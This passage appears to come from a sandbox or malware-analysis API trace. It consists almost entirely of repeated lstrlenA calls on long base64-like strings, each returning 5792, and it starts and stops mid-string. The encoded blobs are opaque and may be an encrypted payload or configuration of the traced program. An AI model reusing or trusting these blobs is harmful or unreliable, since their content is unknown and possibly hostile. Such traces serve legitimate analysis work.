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") returned 5792 [0042.885] lstrlenA (lpString="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") returned 5792 [0042.885] lstrlenA (lpString="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") returned 5792 [0042.885] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6Od